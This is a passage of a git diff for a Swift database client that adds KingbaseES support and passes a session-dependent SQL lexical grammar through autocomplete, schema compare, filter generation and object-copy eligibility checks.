ix.indrelid)")) + #expect(sql.contains("END AS suffix")) + #expect(!sql.contains("COALESCE(' WHERE '")) #expect(sql.contains("AND pg_catalog.substr(d.definition, 1, pg_catalog.length(d.prefix)) = d.prefix")) - #expect(sql.contains(") = d.suffix")) + #expect(sql.contains("AND (d.suffix IS NULL OR pg_catalog.substr(")) + #expect(sql.contains(") = d.suffix)")) let cutStart = try #require(sql.range(of: "CASE")) let cutEnd = try #require(sql.range(of: "END AS method_and_keys")) let cut = sql[cutStart.upperBound.. QueryCompletionService { let language = databaseType.map { PluginManager.shared.editorLanguage(for: $0) } ?? .sql @@ -41,6 +43,7 @@ enum QueryCompletionServiceFactory { schemaProvider: schemaProvider, databaseType: databaseType, profile: profile, + grammar: grammar, identifierCase: { SQLIdentifierCase.stored(for: connectionId) } ) } diff --git a/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift b/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift index bd9e1c2189..c62314e731 100644 --- a/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift +++ b/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift @@ -9,29 +9,17 @@ extension SQLCompletionProvider { schemaProvider: SQLSchemaProvider?, databaseType: DatabaseType? = nil, dialect: SQLDialectDescriptor? = nil, - statementCompletions: [CompletionEntry] = [] + statementCompletions: [CompletionEntry] = [], + grammar: SQLLexicalGrammar? = nil ) { self.init( catalog: schemaProvider, - grammar: databaseType?.lexicalGrammar ?? .ansi, + grammar: grammar ?? databaseType?.lexicalGrammar ?? .ansi, vocabulary: SQLCompletionVocabulary( dialect: dialect, statementCompletions: statementCompletions, databaseType: databaseType ) ) } - - func setDatabaseType( - _ type: DatabaseType, - dialect: SQLDialectDescriptor? = nil, - statementCompletions: [CompletionEntry] = [] - ) { - update( - grammar: type.lexicalGrammar, - vocabulary: SQLCompletionVocabulary( - dialect: dialect, statementCompletions: statementCompletions, databaseType: type - ) - ) - } } extension SQLCompletionVocabulary { diff --git a/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift b/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift index d6811a2b98..b6a44f0c22 100644 --- a/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift +++ b/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift @@ -14,6 +14,7 @@ final class SQLCompletionService: QueryCompletionService { schemaProvider: SQLSchemaProvider?, databaseType: DatabaseType?, profile: QueryCompletionProfile? = nil, + grammar: SQLLexicalGrammar? = nil, identifierCase: @escaping @MainActor () -> SQLIdentifierCase = { .default } ) { let dialect = profile?.resolvedDialect @@ -21,13 +22,15 @@ final class SQLCompletionService: QueryCompletionService { let statementCompletions = profile?.statementCompletions ?? databaseType.flatMap { PluginManager.shared.statementCompletions(for: $0) } ?? [] + let resolvedGrammar = grammar ?? databaseType?.lexicalGrammar ?? .ansi self.engine = CompletionEngine( schemaProvider: schemaProvider, databaseType: databaseType, dialect: dialect, - statementCompletions: statementCompletions + statementCompletions: statementCompletions, + grammar: resolvedGrammar ) - self.grammar = databaseType?.lexicalGrammar ?? .ansi + self.grammar = resolvedGrammar self.identifierCaseSource = identifierCase } diff --git a/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift b/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift index ccf4fa6590..c58dd2fce1 100644 --- a/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift +++ b/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift @@ -443,18 +443,18 @@ actor SQLSchemaProvider { let capturedConnection = connection let defaultSchema = getDefaultSchema() let capturedScopeDatabase = scopeDatabase - let (dbName, idQuote, editorLanguage, queryLanguageName) = await MainActor.run { + let (dbName, idQuote, editorLanguage, queryLanguageName, grammar) = await MainActor.run { let resolvedName = capturedScopeDatabase ?? DatabaseManager.shared.browseDatabaseName(for: capturedConnection) let quote = PluginManager.shared.sqlDialect(for: dbType)?.identifierQuote ?? "\"" let lang = PluginManager.shared.editorLanguage(for: dbType) let langName = PluginManager.shared.queryLanguageName(for: dbType) - return (resolvedName, quote, lang, langName) + let sessionGrammar = SQLLexicalResolver.executionGrammar(for: dbType, connectionId: capturedConnection.id) + return (resolvedName, quote, lang, langName, sessionGrammar) } var listedTables = tables if let editorText, editorLanguage == .sql, listedTables.count > settings.maxSchemaTables { - let grammar = dbType.lexicalGrammar let statement = SQLStatementScanner.statementAtCursor( in: editorText, cursorPosition: cursorOffset, diff --git a/apple/TablePro/Core/Compare/CompareRunner.swift b/apple/TablePro/Core/Compare/CompareRunner.swift index 8f796c9035..9eb2f6f83b 100644 --- a/apple/TablePro/Core/Compare/CompareRunner.swift +++ b/apple/TablePro/Core/Compare/CompareRunner.swift @@ -364,7 +364,13 @@ internal struct CompareRunner { options: session.structureOptions, sourceDatabaseType: context.source.databaseType, targetDatabaseType: context.target.databaseType, - targetIndexedKinds: SourceObjectIndexes.carriedKinds(on: context.target.databaseType) + targetIndexedKinds: SourceObjectIndexes.carriedKinds(on: context.target.databaseType), + sourceGrammar: SQLLexicalResolver.executionGrammar( + for: context.source.databaseType, connectionId: context.source.connectionId + ), + targetGrammar: SQLLexicalResolver.executionGrammar( + for: context.target.databaseType, connectionId: context.target.connectionId + ) ) /// Each pair reads two independent endpoints, so the two sides run together rather than the diff --git a/apple/TablePro/Core/Compare/CompareSQLLiteral.swift b/apple/TablePro/Core/Compare/CompareSQLLiteral.swift index d8343113fb..0217e55e14 100644 --- a/apple/TablePro/Core/Compare/CompareSQLLiteral.swift +++ b/apple/TablePro/Core/Compare/CompareSQLLiteral.swift @@ -98,13 +98,14 @@ internal enum CompareSQLLiteral { /// Curated per type, the same shape `CompareSyncEngineFamily` uses. A type this does not /// name falls back to the driver's own spelling rather than guessing at one. internal static func binaryStyle(for databaseType: DatabaseType) -> BinaryStyle { - if SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres { return .postgresBytea } switch databaseType { case .mysql, .mariadb, .tidb, .databend, .oceanbase, .sqlite, .clickhouse, .libsql, .turso, .cloudflareD1: return .bitString case .duckdb: return .unhexFunction + case .postgresql, .cockroachdb, .redshift, .pglite, .kingbasees: + return .postgresBytea case .mssql: return .zeroX case .oracle: diff --git a/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift b/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift index 0cf57bd72f..5bb2179c04 100644 --- a/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift +++ b/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift @@ -9,13 +9,21 @@ // import Foundation +import TableProPluginKit internal enum CompareSyncEngineFamily { /// A sampled column list is not a schema. A field the source's sample missed reads as one the /// target holds and the source does not, and a script would remove it from every document of /// the target. - internal static func canGenerateStructureScript(from source: DatabaseType, to target: DatabaseType) -> Bool { + internal static func canGenerateStructureScript( + from source: DatabaseType, + to target: DatabaseType, + sourceSession: PluginSessionLexicalState? = nil, + targetSession: PluginSessionLexicalState? = nil + ) -> Bool { guard !source.columnsAreSampled, !target.columnsAreSampled else { return false } + let sourceFamily = SQLTypeFamily.of(source, session: sourceSession) + guard sourceFamily == SQLTypeFamily.of(target, session: targetSession) else { return false } guard source != target else { return true } return sameFamily(source, target) } @@ -28,18 +36,31 @@ internal enum CompareSyncEngineFamily { private static let compatiblePairKeys: Set = { let pairs: [[DatabaseType]] = [ - [.mysql, .mariadb] + [.mysql, .mariadb], + [.postgresql, .kingbasees] ] return Set(pairs.map { $0.map { $0.rawValue }.sorted().joined(separator: "\u{1F}") }) }() - internal static func structureScriptRefusal(from source: DatabaseType, to target: DatabaseType) -> String { + internal static func structureScriptRefusal( + from source: DatabaseType, + to target: DatabaseType, + sourceSession: PluginSessionLexicalState? = nil, + targetSession: PluginSessionLexicalState? = nil + ) -> String { if let sampled = [source, target].first(where: \.columnsAreSampled) { return String( format: String(localized: "%@ lists a collection's fields from a sample of its documents, so structures can be compared but no script is generated."), sampled.rawValue ) } + if let moded = [(source, sourceSession), (target, targetSession)] + .first(where: { SQLTypeFamily.leavesFamily($0.0, session: $0.1) }) { + return String( + format: String(localized: "%@ runs in a compatibility mode with column types of its own, so structures can be compared but no script is generated."), + moded.0.rawValue + ) + } return String( format: String(localized: "Structure sync needs matching database types. %@ and %@ can be compared, but no script is generated."), source.rawValue, target.rawValue diff --git a/apple/TablePro/Core/Compare/CompareSyncExecutor.swift b/apple/TablePro/Core/Compare/CompareSyncExecutor.swift index f85a8f3329..f5dd7f1942 100644 --- a/apple/TablePro/Core/Compare/CompareSyncExecutor.swift +++ b/apple/TablePro/Core/Compare/CompareSyncExecutor.swift @@ -159,7 +159,13 @@ internal actor CompareSyncExecutor { let request = OperationRequest( connectionId: target.connectionId, databaseType: target.databaseType, - sql: Self.digest(of: runnable, databaseType: target.databaseType), + sql: Self.digest( + of: runnable, + databaseType: target.databaseType, + grammar: SQLLexicalResolver.readings( + for: target.databaseType, session: driver.sessionLexicalState + ).execution + ), kind: Self.kind(for: mode, statements: runnable, databaseType: target.databaseType), caller: .userInterface, capabilities: [.mayWrite, .mayRunDestructive, .mayRunMultiStatement, .confirmationPreCleared], @@ -330,8 +336,12 @@ internal actor CompareSyncExecutor { /// statement count and a hash of every statement, so two scripts that share their first ten /// thousand characters are never recorded as the same run. Each statement is written the way the /// saved script writes it, so the gate reads statements ended where they end. - static func digest(of statements: [SyncStatement], databaseType: DatabaseType) -> String { - let scriptText = SQLScriptText(databaseType: databaseType) + static func digest( + of statements: [SyncStatement], + databaseType: DatabaseType, + grammar: SQLLexicalGrammar? = nil + ) -> String { + let scriptText = SQLScriptText(databaseType: databaseType, grammar: grammar ?? databaseType.lexicalGrammar) var digest = "" var length = 0 for statement in statements { diff --git a/apple/TablePro/Core/Compare/CompareSyncSession.swift b/apple/TablePro/Core/Compare/CompareSyncSession.swift index a14e41ad6f..6077bd999e 100644 --- a/apple/TablePro/Core/Compare/CompareSyncSession.swift +++ b/apple/TablePro/Core/Compare/CompareSyncSession.swift @@ -185,13 +185,23 @@ internal final class CompareSyncSession: ObservableObject { internal var canGenerateStructureScript: Bool { guard mode == .structure, let source, let target else { return false } - return CompareSyncEngineFamily.canGenerateStructureScript(from: source.databaseType, to: target.databaseType) + return CompareSyncEngineFamily.canGenerateStructureScript( + from: source.databaseType, + to: target.databaseType, + sourceSession: SQLLexicalResolver.sessionState(for: source.connectionId), + targetSession: SQLLexicalResolver.sessionState(for: target.connectionId) + ) } internal var crossEngineNotice: String? { guard let source, let target else { return nil } if mode == .structure, !canGenerateStructureScript { - return CompareSyncEngineFamily.structureScriptRefusal(from: source.databaseType, to: target.databaseType) + return CompareSyncEngineFamily.structureScriptRefusal( + from: source.databaseType, + to: target.databaseType, + sourceSession: SQLLexicalResolver.sessionState(for: source.connectionId), + targetSession: SQLLexicalResolver.sessionState(for: target.connectionId) + ) } return CompareSyncEngineFamily.crossEngineDataWarning(from: source.databaseType, to: target.databaseType) } @@ -395,8 +405,9 @@ internal final class CompareSyncSession: ObservableObject { } private func script(of statements: [SyncStatement]) -> String { - guard let databaseType = target?.databaseType else { return "" } - return SQLScriptText(databaseType: databaseType).script(statements.map(\.sql)) + guard let target else { return "" } + let grammar = SQLLexicalResolver.executionGrammar(for: target.databaseType, connectionId: target.connectionId) + return SQLScriptText(databaseType: target.databaseType, grammar: grammar).script(statements.map(\.sql)) } // MARK: - Results view diff --git a/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift b/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift index bd753dabe4..57c860b9e9 100644 --- a/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift +++ b/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift @@ -20,7 +20,12 @@ internal struct SchemaSyncScriptBuilder { internal init(targetDriver: any PluginDatabaseDriver, targetDatabaseType: DatabaseType) { self.targetDriver = targetDriver self.targetTypeFamily = SQLTypeFamily.of(targetDatabaseType) - self.scriptText = SQLScriptText(databaseType: targetDatabaseType) + self.scriptText = SQLScriptText( + databaseType: targetDatabaseType, + grammar: SQLLexicalResolver.readings( + for: targetDatabaseType, session: targetDriver.sessionLexicalState + ).execution + ) } internal func build( diff --git a/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift b/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift index f9481ba8f0..5ea255cd10 100644 --- a/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift +++ b/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift @@ -29,11 +29,17 @@ internal struct SourceObjectDiffEngine { options: StructureCompareOptions = .default, sourceDatabaseType: DatabaseType, targetDatabaseType: DatabaseType, - targetIndexedKinds: Set + targetIndexedKinds: Set, + sourceGrammar: SQLLexicalGrammar? = nil, + targetGrammar: SQLLexicalGrammar? = nil ) { self.options = options - self.sourceScriptText = SQLScriptText(databaseType: sourceDatabaseType) - self.targetScriptText = SQLScriptText(databaseType: targetDatabaseType) + self.sourceScriptText = SQLScriptText( + databaseType: sourceDatabaseType, grammar: sourceGrammar ?? sourceDatabaseType.lexicalGrammar + ) + self.targetScriptText = SQLScriptText( + databaseType: targetDatabaseType, grammar: targetGrammar ?? targetDatabaseType.lexicalGrammar + ) self.targetIndexedKinds = targetIndexedKinds } diff --git a/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift b/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift index e839430c90..a07f42130c 100644 --- a/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift +++ b/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift @@ -21,6 +21,7 @@ import Foundation import os import TableProPluginKit +import TableProSQLGrammar internal struct SourceObjectSyncBuilder { private static let logger = Logger(subsystem: "com.TablePro", category: "SourceObjectSyncBuilder") @@ -40,7 +41,12 @@ internal struct SourceObjectSyncBuilder { self.targetDriver = targetDriver self.targetDatabaseType = targetDatabaseType self.indexSchema = indexSchema - self.scriptText = SQLScriptText(databaseType: targetDatabaseType) + self.scriptText = SQLScriptText( + databaseType: targetDatabaseType, + grammar: SQLLexicalResolver.readings( + for: targetDatabaseType, session: targetDriver.sessionLexicalState + ).execution + ) self.changeBuilder = SchemaSyncScriptBuilder(targetDriver: targetDriver, targetDatabaseType: targetDatabaseType) } diff --git a/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift b/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift index 58ade425c8..27ddb116cd 100644 --- a/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift +++ b/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift @@ -21,12 +21,7 @@ internal final class SourceFileDiskChangeMonitor { private var inFlight: Task? private var needsAnotherPass = false - init( - tabManager: QueryTabManager, - readStamps: @escaping StampReader = { urls in - await SourceFileDiskChangeMonitor.readStampsOffMainActor(urls) - } - ) { + init(tabManager: QueryTabManager, readStamps: @escaping StampReader = SourceFileDiskChangeMonitor.readStampsOffMainActor) { self.tabManager = tabManager self.readStamps = readStamps } diff --git a/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift b/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift index adc5485830..3232ba57c7 100644 --- a/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift +++ b/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift @@ -146,7 +146,7 @@ internal enum CrossEngineIndexTranslator { /// The database types whose index type is the server's own access method, read from `pg_am`, so /// `BLOOM`, `HNSW` or `IVFFLAT` names something a PostgreSQL `USING` clause can write. - private static let accessMethodSources: Set = [.postgresql, .pglite] + private static let accessMethodSources: Set = [.postgresql, .pglite, .kingbasees] /// The database types whose indexes, past the primary key, are keys of the table itself: /// Redshift's `DISTKEY` and `SORTKEY`, Snowflake's clustering key, and BigQuery's clustering and diff --git a/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift b/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift index beeff299d8..408762ef7f 100644 --- a/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift +++ b/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift @@ -17,6 +17,7 @@ // import Foundation +import TableProPluginKit internal enum SQLTypeFamily: String, Hashable, Sendable, CaseIterable { case mysql @@ -32,6 +33,20 @@ internal enum SQLTypeFamily: String, Hashable, Sendable, CaseIterable { familiesByTypeId[type.rawValue] ?? .generic } + /// The family a live session spells its types in. A KingbaseES cluster initialized in Oracle mode spells + /// `varchar2(10)` as `character varying(10 char)` and `date` as `sys.date`, a timestamp, and PostgreSQL parses + /// neither (measured on V9R1C10). Its driver reports that mode as PL/SQL lexing, the one part of it a session + /// carries, so such a session has no family a copy can cross to. + internal static func of(_ type: DatabaseType, session: PluginSessionLexicalState?) -> SQLTypeFamily { + if leavesFamily(type, session: session) { return .generic } + return of(type) + } + + /// Whether the session's mode takes it out of the family its engine has. + internal static func leavesFamily(_ type: DatabaseType, session: PluginSessionLexicalState?) -> Bool { + type == .kingbasees && session?.enabled.contains(.plsqlBlocks) == true + } + /// MySQL reads a `BIT` back as the number it holds; PostgreSQL and DuckDB read theirs as a string of digits. internal var readsBitsAsDecimal: Bool { self == .mysql } @@ -60,6 +75,7 @@ internal enum SQLTypeFamily: String, Hashable, Sendable, CaseIterable { "AlloyDB": .postgres, "Citus": .postgres, "Greenplum": .postgres, + "KingbaseES": .postgres, "SQLite": .sqlite, "libSQL": .sqlite, "Turso": .sqlite, diff --git a/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift b/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift index c1a8415f58..7c584aff47 100644 --- a/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift +++ b/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift @@ -15,7 +15,7 @@ import Foundation enum DataWriteRowCounts { private static let enginesReportingRealCounts: Set = [ .mysql, .mariadb, .tidb, .oceanbase, - .postgresql, .redshift, .cockroachdb, .pglite, + .postgresql, .redshift, .cockroachdb, .pglite, .kingbasees, .sqlite, .libsql, .turso, .duckdb, .mssql, .oracle, ] diff --git a/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift b/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift index f0c6ab7947..8a03dfefd9 100644 --- a/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift +++ b/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift @@ -16,7 +16,7 @@ enum ExplicitIdentityInsert: Equatable { static func style(for databaseType: DatabaseType) -> ExplicitIdentityInsert? { switch databaseType { - case .postgresql, .pglite: + case .postgresql, .pglite, .kingbasees: return .overridingSystemValue case .mssql: return .identityInsertSession diff --git a/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift b/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift index 8aa3ccd4d8..5f00b084c2 100644 --- a/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift +++ b/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift @@ -214,8 +214,11 @@ internal actor DatabaseAccessBridge { guard !Self.statementText(query, grammar: .ansi).isEmpty else { throw DatabaseAccessError.invalidArgument(String(localized: "The query is empty.")) } - let databaseType = try await ensureConnected(scope.connectionId) - let normalizedQuery = Self.statementText(query, databaseType: databaseType) + let (sessionDriver, databaseType) = try await resolveDriver(scope.connectionId) + let grammar = SQLLexicalResolver.readings( + for: databaseType, session: sessionDriver.sessionLexicalState + ).execution + let normalizedQuery = Self.statementText(query, databaseType: databaseType, grammar: grammar) guard !normalizedQuery.isEmpty else { throw DatabaseAccessError.invalidArgument(String(localized: "The query is empty.")) } @@ -253,7 +256,6 @@ internal actor DatabaseAccessBridge { /// A write that timed out or failed may still have committed: a group only returns once /// every child has, so by the time the error arrives the driver call has finished one way or /// the other, and a catalog that might have changed is refreshed rather than trusted. - let grammar = databaseType.lexicalGrammar let result: QueryResult let tableEdits: SucceededStatements? do { @@ -405,11 +407,15 @@ internal actor DatabaseAccessBridge { SQLStatementScanner.executableText(of: query, grammar: grammar) } - internal static func statementText(_ query: String, databaseType: DatabaseType) -> String { + internal static func statementText( + _ query: String, + databaseType: DatabaseType, + grammar: SQLLexicalGrammar? = nil + ) -> String { QueryStatementScanner.executableText( of: query, model: QueryStatementModel.forDatabaseType(databaseType), - grammar: databaseType.lexicalGrammar + grammar: grammar ?? databaseType.lexicalGrammar ) } } diff --git a/apple/TablePro/Core/Database/DatabaseManager+Startup.swift b/apple/TablePro/Core/Database/DatabaseManager+Startup.swift index e65a935a0b..5f68e9c7a7 100644 --- a/apple/TablePro/Core/Database/DatabaseManager+Startup.swift +++ b/apple/TablePro/Core/Database/DatabaseManager+Startup.swift @@ -24,15 +24,19 @@ extension DatabaseManager { return !commands.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty } - /// The statements `executeStartupCommands` sends, one per line or `;`, read the way the engine reads a quote or a + /// The statements `executeStartupCommands` sends, one per line or `;`, read the way the session reads a quote or a /// comment. Also read by the catalog, because a temporary table a startup command creates shadows a real one for /// the whole session. - nonisolated internal static func startupStatements(from commands: String?, databaseType: DatabaseType) -> [String] { + nonisolated internal static func startupStatements( + from commands: String?, + databaseType: DatabaseType, + grammar sessionGrammar: SQLLexicalGrammar? = nil + ) -> [String] { guard hasStartupCommands(commands), let commands else { return [] } if QueryStatementModel.forDatabaseType(databaseType) == .redis { return RedisCommandSplitter.commands(in: commands).map(\.text) } - let grammar = databaseType.lexicalGrammar + let grammar = sessionGrammar ?? databaseType.lexicalGrammar let source = commands as NSString var statements: [String] = [] var lineStart = 0 @@ -62,7 +66,9 @@ extension DatabaseManager { _ commands: String?, on driver: DatabaseDriver, connectionName: String ) async -> [(statement: String, error: String)] { var failures: [(statement: String, error: String)] = [] - for statement in Self.startupStatements(from: commands, databaseType: driver.connection.type) { + let databaseType = driver.connection.type + let grammar = SQLLexicalResolver.readings(for: databaseType, session: driver.sessionLexicalState).execution + for statement in Self.startupStatements(from: commands, databaseType: databaseType, grammar: grammar) { do { _ = try await driver.execute(query: statement) Self.startupLogger.info( diff --git a/apple/TablePro/Core/Database/FilterSQLGenerator.swift b/apple/TablePro/Core/Database/FilterSQLGenerator.swift index 09a83f2bf3..6f0f1b97f0 100644 --- a/apple/TablePro/Core/Database/FilterSQLGenerator.swift +++ b/apple/TablePro/Core/Database/FilterSQLGenerator.swift @@ -31,6 +31,9 @@ struct FilterSQLGenerator { private let stringLiteralPrefix: String /// The engine's type family, for the comparisons a dialect descriptor cannot describe. private let family: SQLTypeFamily? + // Oracle reads the literal '' as NULL, and so does KingbaseES in Oracle mode, which its type cannot tell apart + // from its PostgreSQL mode, so `c != ''` matches no row there. + private let readsEmptyStringAsNull: Bool init( dialect: SQLDialectDescriptor, @@ -45,6 +48,7 @@ struct FilterSQLGenerator { self.columnTypesByName = ColumnTypeSQLQuoting.lookupByName(columns: columns, columnTypes: columnTypes) self.stringLiteralPrefix = stringLiteralPrefix self.family = databaseType.map(SQLTypeFamily.of) + self.readsEmptyStringAsNull = family == .oracle || databaseType == .kingbasees } /// The one place a string literal is spelled, so the engine's prefix cannot be forgotten on @@ -125,13 +129,15 @@ struct FilterSQLGenerator { guard ColumnTypeSQLQuoting.supportsEmptyStringComparison(columnType) else { return "\(quotedColumn) IS NULL" } - return "(\(quotedColumn) IS NULL OR \(patternOperand(quotedColumn, columnType: columnType)) = '')" + let operand = patternOperand(quotedColumn, columnType: columnType) + return "(\(quotedColumn) IS NULL OR \(emptyValueTest(operand, negated: false)))" case .isNotEmpty: guard ColumnTypeSQLQuoting.supportsEmptyStringComparison(columnType) else { return "\(quotedColumn) IS NOT NULL" } - return "(\(quotedColumn) IS NOT NULL AND \(patternOperand(quotedColumn, columnType: columnType)) != '')" + let operand = patternOperand(quotedColumn, columnType: columnType) + return "(\(quotedColumn) IS NOT NULL AND \(emptyValueTest(operand, negated: true)))" case .inList: return generateInCondition( @@ -164,6 +170,11 @@ struct FilterSQLGenerator { } } + private func emptyValueTest(_ operand: String, negated: Bool) -> String { + guard readsEmptyStringAsNull else { return "\(operand) \(negated ? "!=" : "=") ''" } + return "LENGTH(\(operand)) \(negated ? ">" : "=") 0" + } + /// SQLite keeps integer 5 and text '5' apart in a column with no affinity, and the grid reads both as `5`, /// so SQLite's own text for a number matches either one. private func eitherStorageComparison(_ column: String, _ value: String, columnType: ColumnType?, negated: Bool) -> String? { diff --git a/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift b/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift index 0bba3e9ea4..96d91478f3 100644 --- a/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift +++ b/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift @@ -1,5 +1,6 @@ import Foundation import TableProPluginKit +import TableProSQLGrammar struct QueryDiagnostic: Equatable, Identifiable { enum Severity: String { @@ -42,7 +43,7 @@ struct CombinedQueryDiagnosticsProducer: QueryDiagnosticsProducing { @MainActor enum QueryDiagnosticsFactory { - static func make(for databaseType: DatabaseType?) -> QueryDiagnosticsProducing { + static func make(for databaseType: DatabaseType?, grammar: SQLLexicalGrammar? = nil) -> QueryDiagnosticsProducing { let resolvedType = databaseType ?? .mysql // Highlighting as JavaScript does not make the language JavaScript: Elasticsearch, Typesense @@ -57,7 +58,7 @@ enum QueryDiagnosticsFactory { case .sql: return CombinedQueryDiagnosticsProducer(producers: [ SQLDiagnosticsProducer(), - SQLConfusableCharacterDiagnosticsProducer(grammar: resolvedType.lexicalGrammar) + SQLConfusableCharacterDiagnosticsProducer(grammar: grammar ?? resolvedType.lexicalGrammar) ]) case .bash: // A command line's arguments are plain text, so `SET smile :)` holds a bracket that closes diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift index 5d83919195..1d94e168ed 100644 --- a/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift +++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift @@ -62,7 +62,9 @@ internal enum ObjectCopyEligibility { from source: DatabaseType, to target: DatabaseType, sourceLanguage: EditorLanguage, - targetLanguage: EditorLanguage + targetLanguage: EditorLanguage, + sourceSession: PluginSessionLexicalState? = nil, + targetSession: PluginSessionLexicalState? = nil ) -> String? { guard supportsCopying(editorLanguage: sourceLanguage), supportsCopying(editorLanguage: targetLanguage) else { @@ -71,7 +73,7 @@ internal enum ObjectCopyEligibility { source.rawValue, target.rawValue ) } - return crossEngineRefusal(from: source, to: target) + return crossEngineRefusal(from: source, sourceSession, to: target, targetSession) } /// The second half of the gate, and the one the editor language cannot answer. @@ -81,8 +83,12 @@ internal enum ObjectCopyEligibility { /// where both engines have a type system `SQLTypeFamily` names, which is the same set the /// translation was written and tested against. Within one engine nothing is translated, so an /// engine no family names still copies to itself. - private static func crossEngineRefusal(from source: DatabaseType, to target: DatabaseType) -> String? { - guard SQLTypeFamily.needsTranslation(from: source, to: target) else { return nil } + private static func crossEngineRefusal( + from source: DatabaseType, _ sourceSession: PluginSessionLexicalState?, + to target: DatabaseType, _ targetSession: PluginSessionLexicalState? + ) -> String? { + guard crosses(from: source, sourceSession, to: target, targetSession) else { return nil } + if let moded = modeRefusal(source, sourceSession, target, targetSession) { return moded } let unnamed = [source, target].filter { SQLTypeFamily.of($0) == .generic } guard let first = unnamed.first else { return nil } return String( @@ -93,6 +99,33 @@ internal enum ObjectCopyEligibility { ) } + /// `SQLTypeFamily.needsTranslation` with each side's session applied, so two servers of one engine + /// in different modes cross as well. + private static func crosses( + from source: DatabaseType, _ sourceSession: PluginSessionLexicalState?, + to target: DatabaseType, _ targetSession: PluginSessionLexicalState? + ) -> Bool { + let sourceFamily = SQLTypeFamily.of(source, session: sourceSession) + let targetFamily = SQLTypeFamily.of(target, session: targetSession) + if source == target { return sourceFamily != targetFamily } + return sourceFamily != targetFamily || sourceFamily == .generic + } + + private static func modeRefusal( + _ source: DatabaseType, _ sourceSession: PluginSessionLexicalState?, + _ target: DatabaseType, _ targetSession: PluginSessionLexicalState? + ) -> String? { + let moded = [(source, sourceSession), (target, targetSession)] + .first { SQLTypeFamily.leavesFamily($0.0, session: $0.1) } + guard let moded else { return nil } + return String( + format: String( + localized: "%@ runs in a compatibility mode with column types of its own. Copy to a target of the same type in the same mode." + ), + moded.0.rawValue + ) + } + /// Why a view, routine or trigger cannot cross to another engine. /// /// Its definition is the source's own SQL text and nothing here parses it, so a MySQL view's @@ -101,9 +134,12 @@ internal enum ObjectCopyEligibility { /// structure the translator can restate; a definition has only text. internal static func definitionEngineRefusal( from source: DatabaseType, - to target: DatabaseType + to target: DatabaseType, + sourceSession: PluginSessionLexicalState? = nil, + targetSession: PluginSessionLexicalState? = nil ) -> String? { - guard SQLTypeFamily.needsTranslation(from: source, to: target) else { return nil } + guard crosses(from: source, sourceSession, to: target, targetSession) else { return nil } + if let moded = modeRefusal(source, sourceSession, target, targetSession) { return moded } return String( format: String( localized: "Its definition is written in %1$@'s own SQL, which %2$@ does not parse." diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift index 127c8315fd..926323d086 100644 --- a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift +++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift @@ -12,6 +12,7 @@ import Foundation import TableProPluginKit +import TableProSQLGrammar /// One table's work: its DDL, and the read and write it will stream between. internal struct ObjectCopyTableStep: Identifiable, Sendable { @@ -224,6 +225,8 @@ internal struct ObjectCopyPlan: 